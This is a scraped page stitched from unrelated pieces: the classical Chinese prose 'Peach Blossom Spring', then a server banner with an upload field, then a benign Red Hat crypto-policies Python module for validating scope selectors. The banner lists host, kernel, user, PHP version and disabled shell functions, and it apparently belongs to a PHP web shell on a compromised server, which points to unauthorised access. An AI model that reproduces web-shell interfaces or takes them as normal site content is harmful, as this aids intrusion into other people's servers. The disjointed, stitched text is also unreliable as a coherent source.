晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/crypto-policies/python/cryptopolicies/validation/ |
Upload File : |
# SPDX-License-Identifier: LGPL-2.1-or-later
# Copyright (c) 2021 Red Hat, Inc.
import fnmatch
from .general import PolicySyntaxError
class ScopeSyntaxError(PolicySyntaxError):
pass
class ScopeUnknownError(ScopeSyntaxError):
def __init__(self, scope_glob):
super().__init__(f'unknown scope {scope_glob}')
class ScopeSelectorEmptyError(ScopeSyntaxError):
def __init__(self):
super().__init__('empty scope selector')
class ScopeSelectorIllegalCharacterError(ScopeSyntaxError):
def __init__(self, selector):
super().__init__(f'illegal character in scope selector `{selector}`')
class ScopeSelectorCurlyBracketsError(ScopeSyntaxError):
def __init__(self, pattern):
super().__init__(f'unsupported curly brackets usage in `{pattern}`')
class ScopeSelectorCommaError(ScopeSyntaxError):
def __init__(self, pattern):
super().__init__(f'unsupported comma usage in `{pattern}`')
class ScopeSelectorMatchedNothingError(ScopeSyntaxError):
def __init__(self, pattern):
super().__init__(f'scope selector `{pattern}` matches no scope')
def illegal_characters(p, original_pattern):
if not all(c.isalnum() or c in '{,}*_-' for c in p):
raise ScopeSelectorIllegalCharacterError(original_pattern)
def curly_brackets(p, original_pattern):
if ((p.count('{'), p.count('}')) not in [(0, 0), (1, 1)]
or p.startswith('{') and not p.endswith('}')
or not p.startswith('{') and p.endswith('}')):
raise ScopeSelectorCurlyBracketsError(original_pattern)
def resulting_globs(globs, all_scopes, original_pattern):
if any(',' in g for g in globs):
raise ScopeSelectorCommaError(original_pattern)
for g in globs:
if not g:
raise ScopeSelectorEmptyError()
if not fnmatch.filter(all_scopes, g):
if '*' in g:
raise ScopeSelectorMatchedNothingError(g)
raise ScopeUnknownError(g)